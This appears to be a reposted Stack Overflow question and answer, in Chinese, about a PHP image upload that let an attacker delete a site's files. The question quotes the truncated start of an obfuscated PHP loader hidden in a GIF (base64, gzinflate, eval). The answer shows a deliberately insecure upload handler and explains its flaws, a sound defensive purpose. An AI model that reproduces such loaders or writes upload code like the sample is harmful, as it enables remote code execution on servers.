gpt4 book ai didi

php - 有什么缺点,上传文件一定要注意

转载 作者:塔克拉玛干 更新时间:2023-11-03 02:00:38 24 4
gpt4 key购买 nike

我有一个Linux服务器,我在我的网站上有一个上传图片,注册的用户可以上传他的图片,当他登录到他的个人资料时他可以看到他的图片,他也可以得到他的url链接image ,所以图片上传到服务器的WWW/img目录下我正在检查 php 文件的扩展名,只允许 (.png ,.gif,.jpg) 文件

但我不知道为什么有人上传了 gif 图像并删除了我所有的文件,我得到了用户上传的图像,因为我们正在进行 RAID,图像的内容有点像...... .

function vUMmFr($MkUOmK){$MkUOmK=gzinflate(base64_decode($MkUOmK));for($i=0;$i<strlen($MkUOmK);$i++){$MkUOmK[$i]=chr(ord($MkUOmK[$i])-1)}return $MkUOmK}eval(vUMmFr("7b1pe+M2sij8ved55j............

what is this , how this happened , how all the files got deleted ? what language is this , how can i protect the files from deleting ..

最佳答案

您可能有一个写得非常糟糕的文件上传处理程序,它盲目地相信用户提供的内容,将具有用户提供的原始文件名的文件放入您的 webroot 中的可公开访问的目录中。简而言之,您的文件上传脚本相当于一个闪烁的大 NEON ,“HACK ME!”

例如,像这样:

<?php

if ($_FILES['file']['type'] == 'image/gif') {
move_uploaded_files($_FILES['file']['tmp_name'], '/some/path/in/your/docroot/' . $_FILES['file']['name']);
}

这里有错误的地方:

  1. 不检查错误 - 文件上传可能因多种原因而失败,不检查错误是一件非常糟糕的事情
  2. ['type'] 字段是用户提供的数据 - 恶意用户可以轻松伪造该 mime 类型。他们可以很容易地上传“somescript.php”,但将其标记为图像。
  3. 盲目地使用 ['name'] 参数作为您存储文件的路径的一部分。同样,这是在用户的控制之下。一个恶意用户和您的服务器冲进马桶。
  4. 将文件存储在文档根目录中。所以现在您允许上传具有任何名称的任何类型的任何文件。如果它是一个脚本,并且可以通过 URL 访问文件的位置,那么您现在允许远程用户在您的服务器上执行他们想要的任何代码。

简而言之,在处理文件上传时,您将文件视为离爆炸还有 0.001 秒的准备爆炸的核弹。您不使用原始文件名存储它。您不会将其存储在用户可以获取的任何地方。您不使用可预测的文件名存储它。您对文件进行服务器端验证。您掀起文件的裙子,查看引擎盖下,以确保它是它应该的样子……即使那样您仍然认为它在撒谎。

关于php - 有什么缺点,上传文件一定要注意,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/12549454/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com